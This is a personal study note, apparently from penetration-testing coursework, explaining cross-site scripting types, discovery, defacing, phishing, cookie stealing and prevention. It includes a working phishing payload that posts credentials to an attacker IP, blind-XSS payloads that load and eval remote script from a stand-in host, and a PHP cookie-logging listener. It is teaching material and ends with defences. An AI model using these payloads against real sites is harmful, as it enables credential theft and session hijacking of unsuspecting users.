Cross-Site Scripting (XSS).md
1 ## What is XSS 2 3 An attacker will inject extra JavaScript code into an input field (e.g. comment/reply). 4 5 User that view the JS will unknowingly run the code 6 7 XSS do not typically directly affect the back-end server as it affect user that is running the code 8 9 Attacker can use XSS to get victim's session cookie 10 11 Cannot be used to do something system-level code execution 12 13 Typically present if there is no sanitation and filtering of user input 14 15 The 3 types of XSS: 16 17 | Type | Description | 18 | ------------------------------ | -------------------------------------------------------------------------------------------------- | 19 | Stored (Persistent) XSS<br> | User input is stored on the back-end database and then displayed upon arrival | 20 | Reflected (Non-Persistent) XSS | User input is displayed on the page after being processed by the server, but it is not stored | 21 | DOM-based (Non-Persistent) XSS | User input is shown in the browser and is processed by the client-side and not the back-end server | 22 23 ``` 24 # Simple XSS payload to test for vulnerabilities 25 26 # Show an alert of the server IP 27 <script>alert(window.origin)</script> 28 29 # Show everything after the payload as plaintext 30 <plaintext> 31 32 # Pop up the browser print dialog 33 <script>print()</script> 34 ``` 35 36 ## Stored XSS 37 38 **Most critical** 39 40 Payload most likely needs to be removed from the database 41 42 If the payload is still there when we refresh our tab then it is persistent 43 44 ## Reflected XSS 45 46 This vulnerabilities are temporary and are not stored in the database 47 48 There are cases where you can get error messages and confirmation messages using this 49 50 To target a user, you can send the URL that contains the payload XSS 51 52 ## DOM XSS 53 54 *Source* is the JavaScript object that takes user input 55 56 *Sink* writes t he user input to a DOM Object on the page 57 58 If the *sink* is not properly sanitized, it will be vulnerable to XSS 59 60 Common JavaScript function to write to DOM objects are: 61 - `document.write()` 62 - `DOM.innerHTML` 63 - `DOM.outerHTML` 64 65 Common jQuery library functions that write to DOM objects are: 66 - `add()` 67 - `after()` 68 - `append()` 69 70 **`innerHTML` do not allow the use of `<script>` tags within it as a security feature ** 71 72 ``` 73 # Payload that can be used in DOM XSS 74 75 # Runs on error 76 <img src="" onerror=alert(window.origin)> 77 ``` 78 79 To target a user, you can send the URL that contains the payload XSS 80 81 ## Discovery 82 83 [[Nessus]], [[Burp|Burp Pro]] and [[ZAP]] have capabilities for detecting all three types of XSS vulnerabilities 84 85 Open-source tool that can assist in XSS Discovery are [[XSS Strike]], [[Brute XSS]] and [[XSSer]] 86 87 Most basic way of testing for XSS vulnerability is manually inputting payload into an input field 88 89 A large list of XSS payload can be found in [PayLoadAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/XSS%20Injection/README.md) and [PayloadBox](https://github.com/payloadbox/xss-payload-list) 90 91 ## Defacing 92 93 We can inject JavaScript code to make a web page look the way we want 94 95 ``` 96 ## Element that are usually utilized for defacing 97 98 document.body.style.background 99 100 document.body.background 101 102 document.title 103 104 DOM.innerHTML 105 106 document.getElementById("something").innerHTML = "Something" 107 108 document.getElementByTagName('something')[0].innerHTML = "Something" 109 ``` 110 111 Using `document.getElementByTagName('body')[0].innerHTML` will change the first body element in the web page 112 113 ## Phishing 114 115 XSS can be used for phishing by sending the url or *reflected XSS* and *DOM XSS* 116 117 You can inject code to make the site looks like a login form and send the url to the victim 118 119 If you are struggling to find the XSS vulnerability, use [[XSS Strike]] 120 121 Append the code you want to inject after the payload created by [[XSS Strike]] 122 123 ``` 124 # Sample malicious URL with injected XSS 125 http://10.129.38.208/phishing/index.php?url=%27%3E%3CA%250aonPOIntEReNtEr%250d%3D%250dconfirm%28%29%250dx%3E%3Cscript%3Edocument.write%28%27%3Ch3%3EPlease+login+to+continue%3C%2Fh3%3E%3Cform+action%3Dhttp%3A%2F%2F10.10.14.201%3A80%3E%3Cinput+type%3D%22username%22+name%3D%22username%22+placeholder%3D%22Username%22%3E%3Cinput+type%3D%22password%22+name%3D%22password%22+placeholder%3D%22Password%22%3E%3Cinput+type%3D%22submit%22+name%3D%22submit%22+value%3D%22Login%22%3E%3C%2Fform%3E%27%29%3Bdocument.getElementById%28%27urlform%27%29.remove%28%29%3B%3C%2Fscript%3E%3C%21-- 126 127 # Sample malicious payload 128 '><A%0aonPOIntEReNtEr%0d=%0dconfirm()%0dx><script>document.write('<h3>Please login to continue</h3><form action=http://10.10.14.201:80><input type="username" name="username" placeholder="Username"><input type="password" name="password" placeholder="Password"><input type="submit" name="submit" value="Login"></form>');document.getElementById('urlform').remove();</script><!-- 129 ``` 130 131 ## Session Hijacking / Cookie Stealing 132 133 Modern web application utilize cookies to maintain user's session throughout different browsing sessions 134 135 Typically if someone steals a person's cookie they will be able to login as that person 136 137 *Blind XSS* occers when the vulnerability is triggered on a page we don't have access to 138 139 A good example is if a site requires an admin to review registration request, you can send send *Stored XSS* that runs when they are reviewing your request 140 141 This can cause problem as **how do we know what field is vulnerable** and **how to know what payload to be used** 142 143 This proves more difficult if there is multiple input fields(e.g. username,password,email) 144 145 `<script>` tags allows us to include a remote script such as: 146 ``` 147 <script src="http://OUR_IP/script.js"></script> 148 <script src="http://OUR_IP/username"></script> 149 ``` 150 151 If we specify `<script src="http://OUR_IP/username"></script>` the *username* field we will know what field is vulnerable if there is a request to our server from the username field for file named username 152 153 You can find payloads to test for callback to our server [here](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSS%20Injection#blind-xss) 154 ``` 155 # Payload to test for callback to server 156 <script src=http://OUR_IP></script> 157 158 '><script src=http://OUR_IP></script> 159 160 "><script src=http://OUR_IP></script> 161 162 javascript:eval('var a=document.createElement(\'script\');a.src=\'http://OUR_IP\';document.body.appendChild(a)') 163 164 <script>function b(){eval(this.responseText)};a=new XMLHttpRequest();a.addEventListener("load", b);a.open("GET", "//OUR_IP");a.send();</script> 165 166 <script>$.getScript("http://OUR_IP")</script> 167 ``` 168 169 Once you have identified the vulnerable input field, you can use payload to steal the cookie and use the payload you can find [here](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSS%20Injection#exploit-code-or-poc) 170 171 Code for the server to listen for the cookie sent by the victim: 172 ``` 173 <?php 174 if (isset($_GET['c'])) { 175 $list = explode(";", $_GET['c']); 176 foreach ($list as $key => $value) { 177 $cookie = urldecode($value); 178 $file = fopen("cookies.txt", "a+"); 179 fputs($file, "Victim IP: {$_SERVER['REMOTE_ADDR']} | Cookie: {$cookie}\n"); 180 fclose($file); 181 } 182 } 183 ?> 184 ``` 185 186 Inspect the site and add the cookie into your browser 187 188 ## XSS Prevention 189 190 Most important part of preventing XSS is by proper **input sanitization and validation** on the front-end and back-end 191 192 ```javascript 193 <script type="text/javascript" src="dist/purify.min.js"></script> 194 let clean = DOMPurify.sanitize( dirty ); 195 ``` 196 197 We can use this script to to escape any special characters 198 199 We should also *never* use user input in any HTML tags 200 ``` 201 # HTML tags that should never have any user input 202 <script></script> 203 <style></style> 204 <div name='NAME'></div> 205 <!-- --> 206 ``` 207 208 We should also prevent to using JavaScript functions that allow changing raw text of HTML fields 209 ``` 210 # JavaScripts that allow the changing of raw text of HTML fields 211 DOM.innerHTML 212 DOM.outerHTML 213 document.write() 214 document.writeln() 215 document.domain() 216 217 # JQuery functions that allow the changing of raw text of HTML fields 218 html() 219 parseHTML() 220 add() 221 append() 222 prepend() 223 after() 224 insertAfter() 225 before() 226 insertBefore() 227 replaceAll() 228 replaceWith() 229 ``` 230 231 The front-end can be easily bypassed by sending in custom *GET* or *POST* request 232 233 We can use [DOMPurity](https://github.com/cure53/DOMPurify) library to sanitize the user input 234 235 We should also use Output Encoding in the backend by swapping characters into HTML codes such as *<* to *<* 236 237 We should also configure out server properly to prevent XSS attacks such as 238 - Using HTTPS across the entire domain. 239 - Using XSS prevention headers. 240 - Using the appropriate Content-Type for the page, like `X-Content-Type-Options=nosniff`. 241 - Using `Content-Security-Policy` options, like `script-src 'self'`, which only allows locally hosted scripts. 242 - Using the `HttpOnly` and `Secure` cookie flags to prevent JavaScript from reading cookies and only transport them over HTTPS. 243